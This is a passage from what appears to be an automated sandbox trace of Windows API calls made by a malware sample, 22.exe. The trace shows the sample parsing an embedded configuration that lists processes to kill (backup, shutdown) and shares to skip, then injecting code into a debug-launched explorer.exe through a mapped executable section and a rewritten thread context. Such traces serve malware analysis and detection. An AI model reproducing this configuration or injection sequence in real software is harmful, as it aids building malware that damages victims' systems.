Size=0x18) returned 0x8e8730 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x60) returned 0x8e8dd8 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8750 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x64) returned 0x8e8dd8 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8770 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x68) returned 0x8e8dd8 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8790 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x6c) returned 0x8e8dd8 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e87b0 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x70) returned 0x8e8dd8 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e87d0 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x74) returned 0x8e8dd8 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e87f0 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x78) returned 0x8e8dd8 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8810 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x7c) returned 0x8e8dd8 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8830 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x80) returned 0x8e8dd8 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8850 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x84) returned 0x8e8dd8 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8870 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x88) returned 0x8e8dd8 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8890 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x8c) returned 0x8e8dd8 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e88b0 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x90) returned 0x8e8dd8 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e88d0 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x10) returned 0x8e7378 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e88f0 [0030.432] strtol (in: _Str="20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x46fc00, _Radix=0 | out: _EndPtr=0x46fc00*=",\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 20 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x14) returned 0x8e7378 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8910 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x4) returned 0x8e6a28 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8930 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a28, Size=0x8) returned 0x8e6a28 [0030.432] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8950 [0030.432] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a28, Size=0xc) returned 0x8e7c78 [0030.433] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8970 [0030.433] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x10) returned 0x8e7c78 [0030.433] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8990 [0030.433] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x14) returned 0x8e7c78 [0030.433] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x18) returned 0x8e7c78 [0030.433] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x1c) returned 0x8e7c78 [0030.433] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a58, Size=0x34) returned 0x8e8e70 [0030.433] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8ec8, Size=0x8) returned 0x8e8ed8 [0030.433] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8ec8, Size=0x8) returned 0x8e8ee8 [0030.433] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8ee8, Size=0xc) returned 0x8e4d08 [0030.433] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8ee8, Size=0x8) returned 0x8e8ec8 [0030.433] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8e70, Size=0x38) returned 0x8e8e70 [0030.434] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8ee8, Size=0x8) returned 0x8e8ef8 [0030.434] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8ee8, Size=0x8) returned 0x8e8f08 [0030.434] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8ee8, Size=0x8) returned 0x8e8f18 [0030.434] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8f18, Size=0xc) returned 0x8e4d20 [0030.434] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8f08, Size=0xc) returned 0x8e4d38 [0030.434] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8f08, Size=0x8) returned 0x8e8f18 [0030.435] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1f7198, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\22.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\22.exe")) returned 0x2c [0030.435] GetVersion () returned 0x1db10106 [0030.435] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x8f21f0 | out: Wow64Process=0x8f21f0) returned 1 [0030.435] GetCurrentProcessId () returned 0x938 [0030.435] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x46fca8 | out: TokenHandle=0x46fca8*=0xb8) returned 0x0 [0030.435] GetTokenInformation (in: TokenHandle=0xb8, TokenInformationClass=0x1, TokenInformation=0x8f2270, TokenInformationLength=0x100, ReturnLength=0x46fcbc | out: TokenInformation=0x8f2270, ReturnLength=0x46fcbc) returned 1 [0030.435] IsWellKnownSid (pSid=0x8f2278*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), WellKnownSidType=0x16) returned 0 [0030.435] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8f2270) returned 1 [0030.435] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0x46fca4 | out: lpBuffer=0x0, nSize=0x46fca4) returned 0 [0030.436] GetLastError () returned 0xea [0030.436] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x16) returned 0x8e8c70 [0030.436] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x8e8c70, nSize=0x46fca4 | out: lpBuffer="XDUWTFONO", nSize=0x46fca4) returned 1 [0030.436] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0xf4) returned 0x8f2270 [0030.436] GetCurrentHwProfileW (in: lpHwProfileInfo=0x8f2270 | out: lpHwProfileInfo=0x8f2270) returned 1 [0030.437] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x70) returned 0x8f2370 [0030.437] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x20) returned 0x8ec508 [0030.437] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8ec508) returned 1 [0030.437] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x20) returned 0x8ec508 [0030.437] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x20) returned 0x8ec530 [0030.437] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8ec530) returned 1 [0030.437] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x41) returned 0x8edab0 [0030.437] sprintf (in: _Dest=0x8edab0, _Format="%0.2x" | out: _Dest="cd") returned 2 [0030.437] sprintf (in: _Dest=0x8edab2, _Format="%0.2x" | out: _Dest="46") returned 2 [0030.437] sprintf (in: _Dest=0x8edab4, _Format="%0.2x" | out: _Dest="de") returned 2 [0030.437] sprintf (in: _Dest=0x8edab6, _Format="%0.2x" | out: _Dest="9c") returned 2 [0030.437] sprintf (in: _Dest=0x8edab8, _Format="%0.2x" | out: _Dest="ac") returned 2 [0030.437] sprintf (in: _Dest=0x8edaba, _Format="%0.2x" | out: _Dest="99") returned 2 [0030.437] sprintf (in: _Dest=0x8edabc, _Format="%0.2x" | out: _Dest="fb") returned 2 [0030.437] sprintf (in: _Dest=0x8edabe, _Format="%0.2x" | out: _Dest="0a") returned 2 [0030.437] sprintf (in: _Dest=0x8edac0, _Format="%0.2x" | out: _Dest="8b") returned 2 [0030.437] sprintf (in: _Dest=0x8edac2, _Format="%0.2x" | out: _Dest="d5") returned 2 [0030.437] sprintf (in: _Dest=0x8edac4, _Format="%0.2x" | out: _Dest="ce") returned 2 [0030.437] sprintf (in: _Dest=0x8edac6, _Format="%0.2x" | out: _Dest="70") returned 2 [0030.437] sprintf (in: _Dest=0x8edac8, _Format="%0.2x" | out: _Dest="e3") returned 2 [0030.437] sprintf (in: _Dest=0x8edaca, _Format="%0.2x" | out: _Dest="6a") returned 2 [0030.437] sprintf (in: _Dest=0x8edacc, _Format="%0.2x" | out: _Dest="f2") returned 2 [0030.437] sprintf (in: _Dest=0x8edace, _Format="%0.2x" | out: _Dest="12") returned 2 [0030.437] sprintf (in: _Dest=0x8edad0, _Format="%0.2x" | out: _Dest="e3") returned 2 [0030.437] sprintf (in: _Dest=0x8edad2, _Format="%0.2x" | out: _Dest="c6") returned 2 [0030.437] sprintf (in: _Dest=0x8edad4, _Format="%0.2x" | out: _Dest="bd") returned 2 [0030.437] sprintf (in: _Dest=0x8edad6, _Format="%0.2x" | out: _Dest="2e") returned 2 [0030.438] sprintf (in: _Dest=0x8edad8, _Format="%0.2x" | out: _Dest="1f") returned 2 [0030.438] sprintf (in: _Dest=0x8edada, _Format="%0.2x" | out: _Dest="13") returned 2 [0030.438] sprintf (in: _Dest=0x8edadc, _Format="%0.2x" | out: _Dest="fe") returned 2 [0030.438] sprintf (in: _Dest=0x8edade, _Format="%0.2x" | out: _Dest="30") returned 2 [0030.438] sprintf (in: _Dest=0x8edae0, _Format="%0.2x" | out: _Dest="85") returned 2 [0030.438] sprintf (in: _Dest=0x8edae2, _Format="%0.2x" | out: _Dest="86") returned 2 [0030.438] sprintf (in: _Dest=0x8edae4, _Format="%0.2x" | out: _Dest="c8") returned 2 [0030.438] sprintf (in: _Dest=0x8edae6, _Format="%0.2x" | out: _Dest="5e") returned 2 [0030.438] sprintf (in: _Dest=0x8edae8, _Format="%0.2x" | out: _Dest="ff") returned 2 [0030.438] sprintf (in: _Dest=0x8edaea, _Format="%0.2x" | out: _Dest="0a") returned 2 [0030.438] sprintf (in: _Dest=0x8edaec, _Format="%0.2x" | out: _Dest="87") returned 2 [0030.438] sprintf (in: _Dest=0x8edaee, _Format="%0.2x" | out: _Dest="38") returned 2 [0030.438] RtlInitAnsiString (in: DestinationString=0x46fc54, SourceString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738" | out: DestinationString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738") [0030.438] RtlAnsiStringToUnicodeString (in: DestinationString=0x46fc5c, SourceString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738", AllocateDestinationString=1 | out: DestinationString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738") returned 0x0 [0030.438] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x82) returned 0x8f2490 [0030.438] RtlFreeAnsiString (AnsiString="c") [0030.438] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8ed0f0 [0030.438] wcscpy (in: _Dest=0x8ed0f0, _Source="\\\\" | out: _Dest="\\\\") returned="\\\\" [0030.438] wcscat (in: _Dest=0x8ed0f0, _Source="XDUWTFONO" | out: _Dest="\\\\XDUWTFONO") returned="\\\\XDUWTFONO" [0030.438] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x4) returned 0x8e9228 [0030.438] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8ed110 [0030.438] wcscpy (in: _Dest=0x8ed110, _Source="\\\\XDUWTFONO" | out: _Dest="\\\\XDUWTFONO") returned="\\\\XDUWTFONO" [0030.438] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8ed0f0) returned 1 [0030.438] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8ec508) returned 1 [0030.438] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8f2370) returned 1 [0030.439] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8f2270) returned 1 [0030.439] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x12) returned 0x8ed0f0 [0030.439] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x20a) returned 0x8f4478 [0030.439] GetSystemDirectoryW (in: lpBuffer=0x8f4478, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0030.439] wcscat (in: _Dest=0x8f4478, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0030.439] wcscat (in: _Dest=0x8f4478, _Source="explorer.exe" | out: _Dest="C:\\Windows\\system32\\explorer.exe") returned="C:\\Windows\\system32\\explorer.exe" [0030.439] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x28) returned 0x8eba10 [0030.439] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\explorer.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4000022, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x46fc38*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x46fce0 | out: lpCommandLine=0x0, lpProcessInformation=0x46fce0*(hProcess=0xbc, hThread=0xc0, dwProcessId=0x944, dwThreadId=0x948)) returned 1 [0030.520] WaitForDebugEvent (in: lpDebugEvent=0x46fc7c, dwMilliseconds=0xffffffff | out: lpDebugEvent=0x46fc7c) returned 1 [0031.254] NtCreateSection (in: SectionHandle=0x46f944, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x46f924, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x46f944*=0xd8) returned 0x0 [0031.254] NtMapViewOfSection (in: SectionHandle=0xd8, ProcessHandle=0xffffffff, BaseAddress=0x46f948*=0x0, ZeroBits=0x0, CommitSize=0x1b000, SectionOffset=0x0, ViewSize=0x46f938*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x46f948*=0xd0000, SectionOffset=0x0, ViewSize=0x46f938*=0x1b000) returned 0x0 [0031.256] NtMapViewOfSection (in: SectionHandle=0xd8, ProcessHandle=0xbc, BaseAddress=0x46f940*=0x0, ZeroBits=0x0, CommitSize=0x1b000, SectionOffset=0x0, ViewSize=0x46f938*=0x1b000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x46f940*=0x70000, SectionOffset=0x0, ViewSize=0x46f938*=0x1b000) returned 0x0 [0031.257] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0xd0000) returned 0x0 [0031.258] NtClose (Handle=0xd8) returned 0x0 [0031.258] NtGetContextThread (in: ThreadHandle=0xc0, Context=0x46f96c | out: Context=0x46f96c*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0xff0efa, Ebp=0x0, Eip=0x771401c4, SegCs=0x23, EFlags=0x202, Esp=0xefb10, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0031.263] NtSetContextThread (ThreadHandle=0xc0, Context=0x46f96c*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, 